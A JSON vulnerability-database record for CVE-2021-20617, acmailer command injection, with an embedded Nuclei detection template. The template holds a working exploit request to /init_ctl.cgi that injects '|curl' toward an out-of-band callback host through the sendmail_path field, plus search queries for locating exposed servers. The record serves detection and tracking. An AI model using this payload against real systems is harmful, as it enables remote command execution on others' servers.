{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-20617/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-20617/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-20617/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-20617/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-20617/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-20617"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-20617"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.07871,
      "kev": false,
      "percentile": 0.94442
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-20617.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-20617\n\ninfo:\n  name: Acmailer - Improper Access Control to OS Command Injection\n  author: daffainfo\n  severity: critical\n  description: |\n    Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.\n  impact: |\n    Attackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure.\n  remediation: |\n    Update to the latest version of acmailer and acmailer DB to address the issue.\n  reference:\n    - https://starlabs.sg/blog/2023/02-dissecting-the-vulnerabilities-a-comprehensive-teardown-of-acmailer/\n    - https://www.acmailer.jp/info/de.cgi?id=101\n    - https://jvn.jp/en/jp/JVN35906450/index.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-20617\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-20617\n    epss-score: 0.07871\n    epss-percentile: 0.94442\n    cwe-id: NVD-CWE-Other\n    cpe: cpe:2.3:a:acmailer:acmailer:*:*:*:*:*:*:*:*,cpe:2.3:a:acmailer:acmailer_db:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: acmailer\n    product: acmailer,acmailer_db\n    shodan-query: title=\"ACMAILER4.0\"\n    fofa-query: title=\"ACMAILER4.0\"\n  tags: cve,cve2021,acmailer,rce,vkev,oast,oob,vuln\n\nvariables:\n  admin_name: \"{{randbase(5)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - raw:\n      - |\n        POST /init_ctl.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        admin_name={{admin_name}}&admin_email={{email}}&login_id=loginid&login_pass=loginpw&sendmail_path=|curl http://{{interactsh-url}}&homeurl=http%3A%2F%2Fexample.com&mypath=env%2F\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_request, 'User-Agent: curl')\"\n          - \"contains(interactsh_protocol, 'http')\"\n          - contains(body, \"<a href=\\\"index.cgi\\\">\")\n          - 'status_code == 302'\n        condition: and\n# digest: 4a0a00473045022040ab5c6a9d5751aa5a5d2a2f13858495418a8b42148c6436ea7eed2651009482022100fa4de8bacb95a0f023cfde04d877b8e9add3a688bad0ec2d05f0e0fc8d5b5d65:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-20617"
}